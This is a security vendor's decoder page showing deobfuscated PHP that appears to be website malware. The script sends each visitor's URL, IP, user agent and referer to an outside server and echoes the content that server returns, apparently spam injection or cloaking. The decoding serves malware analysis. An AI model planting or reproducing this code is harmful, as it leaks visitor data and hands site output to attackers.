Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


	try{
		if($_SERVER['REQUEST_METHOD']==='GET'){
		ini_set('display_errors','off');
		error_reporting(E_ALL^E_NOTICE);
		set_time_limit(0);
			if(@$_SERVER['HTTP_SEC_FETCH_SRC']==="SPM"){
			echo "SPM";
		}
			function postXUrl($a,$b){
				if(function_exists('curl_version')){
				$c=curl_init();
				curl_setopt($c,CURLOPT_URL,$a);
				curl_setopt($c,CURLOPT_HEADER,0);
				curl_setopt($c,CURLOPT_TIMEOUT,10);
				curl_setopt($c,CURLOPT_RETURNTRANSFER,1);
				curl_setopt($c,CURLOPT_USERAGENT,'kingpin');
				curl_setopt($c,CURLOPT_REFERER,@$_SERVER['HTTP_REFERER']);
				curl_setopt($c,CURLOPT_SSL_VERIFYPEER,FALSE);
				curl_setopt($c,CURLOPT_SSL_VERIFYHOST,FALSE);
				curl_setopt($c,CURLOPT_POST,1);
				curl_setopt($c,CURLOPT_POSTFIELDS,$b);
				$d=curl_exec($c);
				curl_close($c);
				return $d;
			}
				else{
				$e=array('http'=>array('method'=>'POST','header'=>"User-Agent: kingpin\r\nContent-Type: application/x-www-form-urlencoded\r\n",'content'=>http_build_query($b),'timeout'=>10,),'ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false,),);
				$f=stream_context_create($e);
				$d=file_get_contents($a,false,$f);
				return $d;
			}
		}
			function getIP(){
			$g='';
			if(isset($_SERVER['HTTP_CF_CONNECTING_IP']))$g=$_SERVER['HTTP_CF_CONNECTING_IP'];
			else if(isset($_SERVER['HTTP_CDN_SRC_IP']))$g=$_SERVER['HTTP_CDN_SRC_IP'];
			else if(isset($_SERVER['HTTP_CLIENT_IP']))$g=$_SERVER['HTTP_CLIENT_IP'];
			else if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))$g=$_SERVER['HTTP_X_FORWARDED_FOR'];
			else if(isset($_SERVER['HTTP_X_FORWARDED']))$g=$_SERVER['HTTP_X_FORWARDED'];
			else if(isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP']))$g=$_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
			else if(isset($_SERVER['HTTP_FORWARDED_FOR']))$g=$_SERVER['HTTP_FORWARDED_FOR'];
			else if(isset($_SERVER['HTTP_FORWARDED']))$g=$_SERVER['HTTP_FORWARDED'];
			else if(isset($_SERVER['REMOTE_ADDR']))$g=$_SERVER['REMOTE_ADDR'];
			else $g='UNKNOWN';
			return $g;
		}
		$h="https://eulaapiv3.checklicenses.com/v1.32/eula";
		$i=(isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']==='on'?"https":"http")."://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
		$b=array('h_type'=>0,'f_uri'=>$i,'lang'=>'br','r_path'=>'/','s_path'=>'','g_ip'=>getIP(),'g_ua'=>@$_SERVER['HTTP_USER_AGENT'],'ref'=>@$_SERVER['HTTP_REFERER'],);
		$j=postXUrl($h,$b);
		$k=@json_decode($j);
			if($k!=null){
				if(!$k->s){
					if($k->ct){
					header('Content-Type: '.$k->ct,true);
				}
				echo $k->c;
			}
		}
	}
}
	catch(Exception $l){
}



© 2023 Quttera Ltd. All rights reserved.